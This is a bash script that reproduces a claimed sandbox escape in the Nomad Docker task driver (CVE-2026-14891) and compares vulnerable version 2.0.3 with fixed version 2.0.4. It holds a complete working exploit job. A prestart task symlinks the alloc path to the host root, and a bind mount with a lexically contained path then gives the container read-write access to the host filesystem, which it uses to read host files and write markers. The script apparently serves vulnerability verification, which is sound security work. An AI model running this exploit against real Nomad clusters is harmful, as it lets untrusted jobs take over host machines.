#!/bin/bash
# CVE-2026-14891 - HashiCorp Nomad Docker task driver sandbox escape
# (symlink containment bypass in bind-mount validation).
#
# Vulnerable: Nomad Community Edition <= 2.0.3  (fixed in 2.0.4).
#
# This script deploys the REAL Nomad agent (official release binary), with the
# Docker task driver and volume bind mounts DISABLED (the default), and submits
# a Docker-driver job through the real Nomad HTTP job-submission API
# (POST /v1/jobs). The job's main task declares a bind mount whose source path
# ("../alloc/escape-root") is lexically contained inside the allocation
# directory, so the vulnerable purely-lexical containment check (isParentPath)
# in drivers/docker/driver.go (toDockerMount) accepts it, but a prestart task
# has created that path on the host as a symlink to "/". The Docker daemon
# follows the symlink when bind-mounting, so the task container gets the whole
# host filesystem mounted read-write and reads/writes host files outside the
# allocation directory.
#
# The identical job is also submitted against the fixed Nomad 2.0.4 agent,
# which must reject the mount ("volumes are not enabled; cannot mount host
# path") and fail the task closed.
#
# Exit 0 = vulnerability confirmed (escape on vulnerable, block on fixed).
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$REPRO_DIR/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART"

VULN_VERSION="2.0.3"          # last vulnerable Nomad Community release
FIXED_VERSION="2.0.4"          # fixed Nomad Community release
VULN_COMMIT="a2a5fee9c42d6481adcb9be865bcbccf8fd4d725"   # tag v2.0.3
FIXED_COMMIT="5b83b133998a1f514beb81019930fb673b5ed669"   # tag v2.0.4
REPO_URL="https://github.com/hashicorp/nomad"
NOMAD_HTTP="http://127.0.0.1:4646"
IMAGE="alpine:3.19"

# The Docker daemon host filesystem shares the /workspace bind mount with this
# sandbox (verified at runtime below). Nomad's data dir must live on a path
# that the Docker daemon host can also see, otherwise the driver's host-side
# bind sources would not exist for the daemon.
WORK=/workspace/nomad-repro
HOST_ZONE=/workspace/host-escape-zone   # host path outside the alloc dir

export DOCKER_HOST="${DOCKER_HOST:-unix:///run/user/1000/docker.sock}"

# logging: always append to the bundle log; echo to stdout unless we are being
# captured by a command substitution (CAPTURE=1)
log() {
  local msg="[$(date -u +%H:%M:%S)] $*"
  echo "$msg" >> "$LOGS/reproduction_steps.log"
  [ "${CAPTURE:-0}" = "1" ] || echo "$msg"
}
die() { log "FATAL: $*"; exit 1; }

# ---------------------------------------------------------------- environment
command -v docker >/dev/null || die "docker CLI not available"
command -v python3 >/dev/null || die "python3 not available"
command -v jq >/dev/null || die "jq not available"
command -v unzip >/dev/null || sudo apt-get install -y unzip >/dev/null 2>&1 || \
  { sudo apt-get update -qq && sudo apt-get install -y unzip; }

timeout 30 docker ps >/dev/null 2>&1 || die "docker daemon not reachable via $DOCKER_HOST"
DAEMON_NAME="$(timeout 30 docker info --format '{{.Name}}')"
log "docker daemon reachable; daemon host name: $DAEMON_NAME"

timeout 120 docker pull -q "$IMAGE" >/dev/null || die "cannot pull $IMAGE"

# Verify /workspace is the same filesystem the docker daemon binds from:
# a file we write sandbox-side must be visible through a daemon-side bind.
PROBE="shared-probe-$(date +%s)"
echo "$PROBE" > /workspace/.pruva-share-probe.tmp
SEEN=$(timeout 30 docker run --rm -v /workspace/.pruva-share-probe.tmp:/probe "$IMAGE" cat /probe 2>/dev/null || true)
rm -f /workspace/.pruva-share-probe.tmp
[ "${SEEN:-}" = "$PROBE" ] || die "/workspace is not shared with the docker daemon host; alloc-dir binds cannot work in this environment"
log "/workspace is shared with the docker daemon host (bind probe ok)"

# ------------------------------------------------------------------- binaries
mkdir -p "$WORK/bin"
for v in "$VULN_VERSION" "$FIXED_VERSION"; do
  if [ ! -x "$WORK/bin/nomad_$v" ]; then
    log "downloading Nomad $v release binary"
    (cd "$WORK/bin" && timeout 300 curl -sSLo "nomad_$v.zip" \
        "https://releases.hashicorp.com/nomad/$v/nomad_${v}_linux_amd64.zip" \
      && unzip -o -q "nomad_$v.zip" && mv nomad "nomad_$v" && rm -f "nomad_$v.zip" && chmod +x "nomad_$v")
  fi
  GOT="$("$WORK/bin/nomad_$v" version | awk '/^Nomad v/{print $2}')"
  [ "$GOT" = "v$v" ] || die "nomad_$v binary version mismatch: $GOT"
done
VULN_BIN_SHA=$(sha256sum "$WORK/bin/nomad_$VULN_VERSION" | cut -d' ' -f1)
FIXED_BIN_SHA=$(sha256sum "$WORK/bin/nomad_$FIXED_VERSION" | cut -d' ' -f1)
log "nomad $VULN_VERSION sha256=$VULN_BIN_SHA"
log "nomad $FIXED_VERSION sha256=$FIXED_BIN_SHA"

# resolve tag commits from the prepared project cache repo if available
VULN_COMMIT_RESOLVED="$VULN_COMMIT"
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR=$(python3 -c 'import json,sys;print(json.load(open(sys.argv[1])).get("project_cache_dir") or "")' "$ROOT/project_cache_context.json" 2>/dev/null || true)
  if [ -n "${CACHE_DIR:-}" ] && [ -d "$CACHE_DIR/repo/.git" ]; then
    R1=$(git -C "$CACHE_DIR/repo" rev-parse "refs/tags/v$VULN_VERSION^{commit}" 2>/dev/null || true)
    R2=$(git -C "$CACHE_DIR/repo" rev-parse "refs/tags/v$FIXED_VERSION^{commit}" 2>/dev/null || true)
    [ -n "$R1" ] && VULN_COMMIT_RESOLVED="$R1"
    { echo "v$VULN_VERSION -> $R1"; echo "v$FIXED_VERSION -> $R2"; } > "$LOGS/tag_commit_resolution.txt" || true
  fi
fi
log "vulnerable anchor: $REPO_URL @ $VULN_COMMIT_RESOLVED (tag v$VULN_VERSION)"
log "fixed anchor:     $REPO_URL @ $FIXED_COMMIT (tag v$FIXED_VERSION)"

# kill any stale agent left from a previous attempt
pkill -f "nomad_2.0.[34] agent -config" 2>/dev/null || true
sleep 2

# ------------------------------------------------------------------- helpers
wait_agent_healthy() { # $1 max seconds
  local i
  for ((i=0; i<$1; i+=3)); do
    if timeout 10 curl -sf "$NOMAD_HTTP/v1/agent/health" 2>/dev/null | grep -q true; then
      return 0
    fi
    sleep 3
  done
  return 1
}

wait_docker_driver() { # $1 max seconds
  local i DET
  for ((i=0; i<$1; i+=3)); do
    DET=$(timeout 10 curl -s "$NOMAD_HTTP/v1/nodes" 2>/dev/null | \
      jq -r '.[0].Drivers.docker.Detected // empty' 2>/dev/null || true)
    [ "$DET" = "true" ] && return 0
    sleep 3
  done
  return 1
}

# build the exploit job JSON; identical for vulnerable and fixed attempts
make_job_json() { # $1 job_id  $2 marker_token
  python3 - "$1" "$2" "$IMAGE" <<'PYEOF'
import json, sys
job_id, marker, image = sys.argv[1], sys.argv[2], sys.argv[3]
job = {
  "Job": {
    "ID": job_id, "Name": job_id, "Type": "batch", "Priority": 50,
    "Datacenters": ["*"],
    "TaskGroups": [{
      "Name": "grp", "Count": 1,
      "Tasks": [
        # prestart task plants the symlink on the (host-side) shared alloc
        # directory: <data>/alloc/<alloc-id>/alloc/escape-root -> "/"
        {"Name": "prep", "Lifecycle": {"Hook": "prestart"}, "Driver": "docker",
         "Config": {"image": image, "command": "sh",
                    "args": ["-c", "ln -sfn / /alloc/escape-root && ls -la /alloc/"]},
         "Resources": {"CPU": 100, "MemoryMB": 64}},
        # main task bind-mounts "../alloc/escape-root": lexically inside the
        # alloc dir (passes vulnerable isParentPath check) but resolves via
        # the symlink to the host root when the docker daemon mounts it.
        {"Name": "escape", "Driver": "docker",
         "Config": {"image": image, "command": "sh",
                    "args": ["-c",
                             "echo HOST_HOSTNAME=$(cat /host-escape/etc/hostname); "
                             "echo " + marker + " > /host-escape/workspace/host-escape-zone/" + marker + ".txt; "
                             "cat /host-escape/workspace/host-escape-zone/" + marker + ".txt; "
                             "ls /host-escape/"],
                    "mounts": [{"type": "bind",
                                "source": "../alloc/escape-root",
                                "target": "/host-escape",
                                "readonly": False}]},
         "Resources": {"CPU": 100, "MemoryMB": 64}}
      ]
    }]
  }
}
print(json.dumps(job, indent=2))
PYEOF
}

# run one full product attempt: start agent, submit job, collect evidence,
# stop agent. $1=phase(vuln|fixed) $2=attempt# $3=nomad binary
# prints a single-line result: escaped | blocked | escaped-nomatch | failed
run_attempt() {
  local PHASE="$1" N="$2" NOMAD_BIN="$3"
  local RUNID="${PHASE}${N}-$(date +%s)"
  local AART="$ART/${PHASE}${N}"
  local DATA="$WORK/data-$RUNID" LOGD="$WORK/logs-$RUNID"
  local JOB="esc-$RUNID"
  local MARK="ESCAPE_WRITE_OK_${RUNID}"
  local MARKER_FILE="$HOST_ZONE/$MARK.txt"
  mkdir -p "$AART" "$DATA" "$LOGD" "$HOST_ZONE"
  rm -f "$MARKER_FILE"

  CAPTURE=1   # keep stdout clean: we are inside a command substitution
  log "=== attempt ${PHASE}#${N}: nomad $(basename "$NOMAD_BIN"), job=$JOB"

  cat > "$WORK/agent-$RUNID.hcl" <<EOF
data_dir = "$DATA"
log_level = "INFO"
log_file = "$LOGD/"
bind_addr = "127.0.0.1"

server {
  enabled = true
  bootstrap_expect = 1
}

advertise {
  http = "127.0.0.1"
  rpc = "127.0.0.1"
  serf = "127.0.0.1"
}

client {
  enabled = true
  servers = ["127.0.0.1:4647"]
  network_interface = "eth0"
}

plugin "docker" {
  config {
    endpoint = "$DOCKER_HOST"
    volumes {
      enabled = false
    }
  }
}
EOF

  # start the REAL nomad agent with the docker driver, bind mounts disabled
  (nohup "$NOMAD_BIN" agent -config "$WORK/agent-$RUNID.hcl" \
      > "$LOGS/agent-${PHASE}${N}.log" 2>&1 & echo $! > "$WORK/agent-$RUNID.pid")
  local AGENT_PID
  AGENT_PID=$(cat "$WORK/agent-$RUNID.pid")

  local OK=true
  wait_agent_healthy 90 || { OK=false; log "agent ${PHASE}${N} never became healthy"; }
  $OK && wait_docker_driver 90 || { OK=false; log "docker driver never detected on ${PHASE}${N}"; }

  local AID="" ALLOCS=""
  if $OK; then
    make_job_json "$JOB" "$MARK" > "$AART/job_request.json"
    log "attempt ${PHASE}${N}: submitting job $JOB via $NOMAD_HTTP/v1/jobs"
    timeout 30 curl -s -X POST -H 'Content-Type: application/json' \
        -d @"$AART/job_request.json" "$NOMAD_HTTP/v1/jobs" \
        > "$AART/job_submit_response.json"

    # wait for the escape task to reach a terminal state
    local i S
    for ((i=0; i<60; i++)); do
      sleep 4
      ALLOCS=$(timeout 15 curl -s "$NOMAD_HTTP/v1/job/$JOB/allocations" || true)
      S=$(echo "$ALLOCS" | jq -r '[.[]? | .TaskStates | to_entries[]? | "\(.key)=\(.value.State)"] | join(" ")' 2>/dev/null || true)
      [ -n "${S:-}" ] && log "attempt ${PHASE}${N} states: $S"
      if echo "$S" | grep -q 'escape=dead'; then break; fi
    done
    ALLOCS=$(timeout 15 curl -s "$NOMAD_HTTP/v1/job/$JOB/allocations" || true)
    echo "$ALLOCS" | jq '[.[]? | select(.TaskStates.escape != null)]' \
        > "$AART/alloc_detail.json" 2>/dev/null || true
    AID=$(jq -r '.[0].ID // empty' "$AART/alloc_detail.json" 2>/dev/null || true)
    [ -n "$AID" ] || { OK=false; log "attempt ${PHASE}${N}: no allocation found"; }
  fi

  if $OK; then
    # capture task events (all allocs; batch jobs can be rescheduled) and
    # stdout immediately, before the client GC moves the alloc files
    jq -r '.[] | .ID as $id | .TaskStates.escape.Events[]? | "\($id) \(.Type): \(.DisplayMessage)"' \
        "$AART/alloc_detail.json" > "$AART/escape_task_events.txt" 2>/dev/null || true
    timeout 30 "$WORK/bin/nomad_$VULN_VERSION" alloc logs "$AID" escape \
        > "$AART/escape_task_stdout.log" 2>&1 || true
    timeout 30 "$WORK/bin/nomad_$VULN_VERSION" alloc logs "$AID" prep \
        > "$AART/prep_task_stdout.log" 2>&1 || true
  fi

  # stop agent; finalize its log copy for this attempt
  kill "$AGENT_PID" 2>/dev/null || true
  sleep 3
  kill -9 "$AGENT_PID" 2>/dev/null || true
  cp "$LOGS/agent-${PHASE}${N}.log" "$AART/agent_attempt.log" 2>/dev/null || true

  local RESULT="failed" MARKER_PRESENT=false REJECTED=false
  [ -f "$MARKER_FILE" ] && MARKER_PRESENT=true
  if grep -q 'volumes are not enabled; cannot mount host path' \
      "$AART/escape_task_events.txt" "$AART/agent_attempt.log" 2>/dev/null; then
    REJECTED=true
  fi

  if ! $OK; then
    RESULT="failed"
  elif $MARKER_PRESENT && grep -q "^$MARK$" "$MARKER_FILE" && \
       grep -q "HOST_HOSTNAME=$DAEMON_NAME" "$AART/escape_task_stdout.log" 2>/dev/null; then
    RESULT="escaped"
    cp "$MARKER_FILE" "$AART/host_marker.txt"
  elif $MARKER_PRESENT; then
    RESULT="escaped-nomatch"
  elif $REJECTED; then
    RESULT="blocked"
  else
    RESULT="no-marker-no-rejection-evidence"
  fi

  {
    echo "phase=$PHASE attempt=$N job=$JOB alloc=${AID:-none}"
    echo "result=$RESULT marker_present=$MARKER_PRESENT mount_rejected=$REJECTED"
    echo "host_marker_path=$MARKER_FILE"
    echo "task_result_state=$(jq -r '[.[].TaskStates.escape.State][] | join(",")' "$AART/alloc_detail.json" 2>/dev/null || echo unknown)"
  } > "$AART/attempt_summary.txt"
  log "attempt ${PHASE}${N} RESULT=$RESULT (marker=$MARKER_PRESENT rejected=$REJECTED)"
  rm -rf "$DATA" "$LOGD"
  CAPTURE=0
  echo "$RESULT"
}

# ------------------------------------------------------------------- attempts
log "starting CVE-2026-14891 reproduction: 2 vulnerable ($VULN_VERSION) + 2 fixed ($FIXED_VERSION) attempts"

V1=$(run_attempt vuln 1 "$WORK/bin/nomad_$VULN_VERSION")
V2=$(run_attempt vuln 2 "$WORK/bin/nomad_$VULN_VERSION")
F1=$(run_attempt fixed 1 "$WORK/bin/nomad_$FIXED_VERSION")
F2=$(run_attempt fixed 2 "$WORK/bin/nomad_$FIXED_VERSION")

log "results: vuln1=$V1 vuln2=$V2 fixed1=$F1 fixed2=$F2"

VULN_CONFIRMED=false
if [ "$V1" = "escaped" ] && [ "$V2" = "escaped" ]; then VULN_CONFIRMED=true; fi
FIXED_BLOCKS=false
if [ "$F1" = "blocked" ] && [ "$F2" = "blocked" ]; then FIXED_BLOCKS=true; fi

# ------------------------------------------------------------------- manifest
CANON="git:$REPO_URL@$VULN_COMMIT_RESOLVED"
TARGET_DIGEST=$(printf '%s' "$CANON" | sha256sum | cut -d' ' -f1)

export M_OUT="$REPRO_DIR/runtime_manifest.json" M_ROOT="$ROOT" M_REPO="$REPO_URL" \
       M_VCOMMIT="$VULN_COMMIT_RESOLVED" M_FCOMMIT="$FIXED_COMMIT" \
       M_VVER="$VULN_VERSION" M_FVER="$FIXED_VERSION" \
       M_DIGEST="$TARGET_DIGEST" M_VBIN="$VULN_BIN_SHA" M_FBIN="$FIXED_BIN_SHA" \
       M_V1="$V1" M_V2="$V2" M_F1="$F1" M_F2="$F2" \
       M_ZONE="$HOST_ZONE" M_DAEMON="$DAEMON_NAME"
python3 <<'PYEOF'
import json, hashlib, os
root, out = os.environ["M_ROOT"], os.environ["M_OUT"]
def sha(p):
    h = hashlib.sha256()
    with open(p, 'rb') as f:
        for chunk in iter(lambda: f.read(1 << 16), b''):
            h.update(chunk)
    return h.hexdigest()
arts, digests = [], {}
for phase in ("vuln", "fixed"):
    for n in (1, 2):
        base = os.path.join(root, "repro", "artifacts", f"{phase}{n}")
        for name in ("job_request.json", "job_submit_response.json", "alloc_detail.json",
                     "escape_task_events.txt", "escape_task_stdout.log", "prep_task_stdout.log",
                     "host_marker.txt", "attempt_summary.txt", "agent_attempt.log"):
            p = os.path.join(base, name)
            if os.path.isfile(p):
                rel = os.path.relpath(p, root)
                arts.append(rel)
                digests[rel] = sha(p)
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": ("Nomad HTTP API job submission (POST /v1/jobs) of a Docker-driver "
      "task with a bind mount whose source path is lexically contained in the allocation "
      "directory but resolves via a planted symlink to the host root; volume bind mounts disabled"),
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["nomad-agent-server+client", "docker-task-driver", "docker-daemon-rootless"],
  "target_identity": {
    "repository_url": os.environ["M_REPO"],
    "commit_sha": os.environ["M_VCOMMIT"],
    "target_digest": os.environ["M_DIGEST"],
    "runtime_digest": os.environ["M_VBIN"],
    "platform": "linux",
    "architecture": "x86_64"
  },
  "proof_artifacts": arts,
  "artifact_sha256": digests,
  "notes": ("vuln_results=%s,%s fixed_results=%s,%s; vulnerable Nomad %s (tag v%s, commit %s, "
            "binary sha256 %s) accepted the symlink-escaped bind mount, mounted the docker-daemon "
            "host root read-write into the task container, read host /etc/hostname (daemon host %s), "
            "and wrote host markers under %s outside the allocation directory; fixed Nomad %s "
            "(tag v%s, commit %s, binary sha256 %s) rejects the identical job with 'volumes are not "
            "enabled; cannot mount host path' and creates no marker") % (
      os.environ["M_V1"], os.environ["M_V2"], os.environ["M_F1"], os.environ["M_F2"],
      os.environ["M_VVER"], os.environ["M_VVER"], os.environ["M_VCOMMIT"], os.environ["M_VBIN"],
      os.environ["M_DAEMON"], os.environ["M_ZONE"],
      os.environ["M_FVER"], os.environ["M_FVER"], os.environ["M_FCOMMIT"], os.environ["M_FBIN"])
}
with open(out, 'w') as f:
    json.dump(manifest, f, indent=2)
print("wrote", out)
PYEOF

log "vulnerable_attempts_escaped=$VULN_CONFIRMED fixed_attempts_blocked=$FIXED_BLOCKS"

if $VULN_CONFIRMED && $FIXED_BLOCKS; then
  log "CVE-2026-14891 CONFIRMED: sandbox escape on $VULN_VERSION, blocked on $FIXED_VERSION"
  exit 0
fi
log "reproduction did not meet both confirmation criteria"
exit 1
